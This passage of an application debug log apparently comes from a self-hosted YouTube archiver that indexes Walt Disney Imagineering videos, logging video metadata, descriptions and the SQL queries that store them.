the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "duration" => 217, "filename" => "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].mp4", "id" => "b7hgSAMfqe0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=b7hgSAMfqe0", "playlist_index" => 13, "timestamp" => 1763398867, "title" => "Why do roller coasters feel faster in the dark? | Imagineer That!", "upload_date" => "20251117"} 18:56:59.375 [debug] QUERY OK source="sources" db=0.2ms idle=969.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:56:59.375 [debug] QUERY OK source="sources" db=0.1ms idle=970.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:59.376 [debug] QUERY OK source="media_items" db=0.6ms idle=970.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 17:01:07Z], 2] 18:56:59.378 [debug] QUERY OK source="media_items" db=1.4ms idle=971.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "9215a64a-3a9c-418a-abaf-f62fc717953a", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, 217, false, 13, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].mp4", false, false, 2, [], 98, ~U[2025-11-17 17:01:07Z], ~U[2026-03-31 22:56:59Z], ~U[2026-03-31 22:56:59Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers make things look old and creepy? → https://youtu.be/wkC-B7PNMCI\n🎥 How do Disney Imagineers make mountains? → https://youtu.be/YLZlSxFU1rE\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", 217, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].mp4", false, 2, ~U[2025-11-17 17:01:07Z]] 18:56:59.379 [debug] QUERY OK source="sources" db=0.1ms idle=774.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:59.379 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:59.379 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2857] 18:56:59.379 [debug] Current batch of media processed. Will check again in 1000ms 18:57:00.380 [debug] Current batch of media processed. Will check again in 1000ms 18:57:00.964 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:01.381 [debug] Current batch of media processed. Will check again in 1000ms 18:57:02.382 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → https://www.youtube.com/watch?v=SmBNBST2pVo\n\n✨ *What makes this special?*\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "duration" => 176, "filename" => "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].mp4", "id" => "FFKBtnLo0mc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FFKBtnLo0mc", "playlist_index" => 14, "timestamp" => 1762819845, "title" => "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "upload_date" => "20251111"} 18:57:02.383 [debug] QUERY OK source="sources" db=0.2ms idle=1977.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:02.383 [debug] QUERY OK source="sources" db=0.1ms idle=1977.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:02.384 [debug] QUERY OK source="media_items" db=0.6ms idle=1775.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:10:45Z], 2] 18:57:02.386 [debug] QUERY OK source="media_items" db=1.5ms idle=1420.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → https://www.youtube.com/watch?v=SmBNBST2pVo\n\n✨ *What makes this special?*\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "03e66f3f-9ba5-4383-9920-c7dfd9813fff", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, 176, false, 14, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].mp4", false, false, 2, [], 98, ~U[2025-11-11 00:10:45Z], ~U[2026-03-31 22:57:02Z], ~U[2026-03-31 22:57:02Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → https://www.youtube.com/watch?v=SmBNBST2pVo\n\n✨ *What makes this special?*\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n✨ Hong Kong Disneyland 20th Anniversary Projections → https://youtu.be/2h_2wZM2YeA\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", 176, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].mp4", false, 2, ~U[2025-11-11 00:10:45Z]] 18:57:02.387 [debug] QUERY OK source="sources" db=0.1ms idle=777.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:02.387 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:02.387 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2719] 18:57:02.387 [debug] Current batch of media processed. Will check again in 1000ms 18:57:03.388 [debug] Current batch of media processed. Will check again in 1000ms 18:57:04.389 [debug] Current batch of media processed. Will check again in 1000ms 18:57:05.390 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ *What makes this special?*\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 *Behind-the-Scenes with Imagineers*\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 *Explore More Episodes*\n🚙 Test Track WED Rides with Disney Imagineers → https://youtu.be/D4O6q-i1zmE \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → https://youtu.be/PjLH47DPbeI\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → https://youtu.be/_R5CKZ5R91A\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → https://youtu.be/s5d1ahYVzSE\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → https://youtu.be/fNLeHJ7KL6s\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "duration" => 271, "filename" => "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].mp4", "id" => "endLo0NqGaw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=endLo0NqGaw", "playlist_index" => 15, "timestamp" => 1761937254, "title" => "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "upload_date" => "20251031"} 18:57:05.391 [debug] QUERY OK source="sources" db=0.2ms idle=1985.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:57:05.391 [debug] QUERY OK source="sources" db=0.1ms idle=1985.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:05.392 [debug] QUERY OK source="media_items" db=0.7ms idle=1986.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 19:00:54Z], 2] 18:57:05.398 [debug] QUERY OK source="media_items" db=5.7ms idle=1779.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ *What makes this special?*\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to 